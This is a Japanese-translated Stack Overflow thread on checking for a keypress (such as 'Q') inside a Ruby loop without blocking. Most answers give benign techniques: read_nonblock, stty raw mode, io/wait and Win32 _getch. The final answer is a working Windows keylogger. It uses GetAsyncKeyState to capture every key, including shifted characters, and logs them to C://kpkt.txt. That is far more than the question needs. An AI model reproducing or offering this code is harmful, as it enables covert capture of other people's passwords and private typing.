20

ファイルシステムで何かが変更されるのを待つ必要がある単純なタスクがあります(これは基本的にプロトタイプ用のコンパイラです)。したがって、変更されたファイルをチェックした後、5秒間スリープする単純な無限ループがあります。

loop do
  # if files changed
  #   process files
  #   and puts result
  sleep 5
end

敬礼の代わりにCtrl+C、ループをブロックすることなく、キーが押されたかどうかをテストして確認できるようにしたいと思います。基本的に、キーが押されているかどうかを確認する方法が必要です。次に、Qが満たされるまでキーを押してから、プログラムを終了します。

私が欲しいのは:

def wait_for_Q
  key_is_pressed && get_ch == 'Q'
end

loop do
  # if files changed
  #   process files
  #   and puts result
  wait_for_Q or sleep 5
end

それとも、これはRubyが(うまく)できないことですか?

4

6 に答える 6

14

これを行う1つの方法は、次を使用しIO#read_nonblockます。

def quit?
  begin
    # See if a 'Q' has been typed yet
    while c = STDIN.read_nonblock(1)
      puts "I found a #{c}"
      return true if c == 'Q'
    end
    # No 'Q' found
    false
  rescue Errno::EINTR
    puts "Well, your device seems a little slow..."
    false
  rescue Errno::EAGAIN
    # nothing was ready to be read
    puts "Nothing to be read..."
    false
  rescue EOFError
    # quit on the end of the input stream
    # (user hit CTRL-D)
    puts "Who hit CTRL-D, really?"
    true
  end
end

loop do
  puts "I'm a loop!"
  puts "Checking to see if I should quit..."
  break if quit?
  puts "Nope, let's take a nap"
  sleep 5
  puts "Onto the next iteration!"
end

puts "Oh, I quit."

これは非ブロッキングIOを使用しますが、それでもバッファリングされたIOであることに注意してください。つまり、ユーザーはそのときヒットする必要がありQます<Enter>。バッファリングされていないIOを実行したい場合は、rubyのcursesライブラリをチェックすることをお勧めします。

于 2009-06-04T01:32:31.747 に答える
9

他の回答を組み合わせると、目的の動作が得られます。OSX および Linux 上の ruby​​ 1.9.3 でテスト済み。

loop do
  puts 'foo'
  system("stty raw -echo")
  char = STDIN.read_nonblock(1) rescue nil
  system("stty -raw echo")
  break if /q/i =~ char
  sleep(2)
end
于 2012-11-06T18:30:40.150 に答える
9

バッファなしでこれを行うこともできます。UNIX ベースのシステムでは、次のように簡単です。

system("stty raw -echo") #=> Raw mode, no echo
char = STDIN.getc
system("stty -raw echo") #=> Reset terminal mode
puts char

これは、キーが押されるのを待ち、char コードを返します。を押す必要はありません。

char = STDIN.getcをループに入れてください。

The Ruby Way によると、Windows を使用している場合は、C で拡張機能を作成するか、この小さなトリックを使用する必要があります (ただし、これは 2001 年に作成されたものなので、もっと良い方法があるかもしれません)。

require 'Win32API'
char = Win32API.new('crtdll','_getch', [], 'L').Call

これが私の参考文献です:素晴らしい本です。所有していない場合は、そうすべきです

于 2011-01-30T20:28:06.393 に答える
1

ready?また、すべての IO オブジェクトにメソッドを提供する Ruby の 'io/wait' ライブラリを調査することもできます。あなたの状況を具体的にテストしていませんが、私が取り組んでいるソケットベースのライブラリで使用しています。あなたの場合、STDIN が単なる標準 IO オブジェクトである場合、ready?実際に押されたキーを知りたい場合を除き、nil 以外の結果が返された時点でおそらく終了できます。require 'io/wait'この機能は、Ruby 標準ライブラリの一部であるを通じて利用できます。すべての環境で機能するとは限りませんが、試してみる価値はあります。Rdoc: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

于 2009-11-16T15:04:05.560 に答える
0

今これを使う

require 'Win32API'

VK_SHIFT = 0x10
VK_ESC = 0x1B

def check_shifts()
    $listener.call(VK_SHIFT) != 0 ? true : false
end

# create empty Hash of key codes
keys = Hash.new

# create empty Hash for shift characters
uppercase = Hash.new

# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }

# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }

# add special characters
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC

# add custom key macros
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14

# add for uppercase letters
('a'..'z').each { |char| uppercase[char] = char.upcase }

# add for uppercase numbers
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'

# add for uppercase special characters
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
uppercase['\\'] = '|'

# create a listener for Windows key-presses
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')

# call listener once to initialize lsb's
keys.each_value { |code| $listener.call(code) }

logs = File.open('C://kpkt.txt', 'a')

while true
    break if $listener.call(VK_ESC) != 0

    keys.each do |char, code|
        n = $listener.call(code)
        if n and n & 0x01 == 1
            check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
        end
    end
end

logs.close()
于 2016-11-10T12:23:00.300 に答える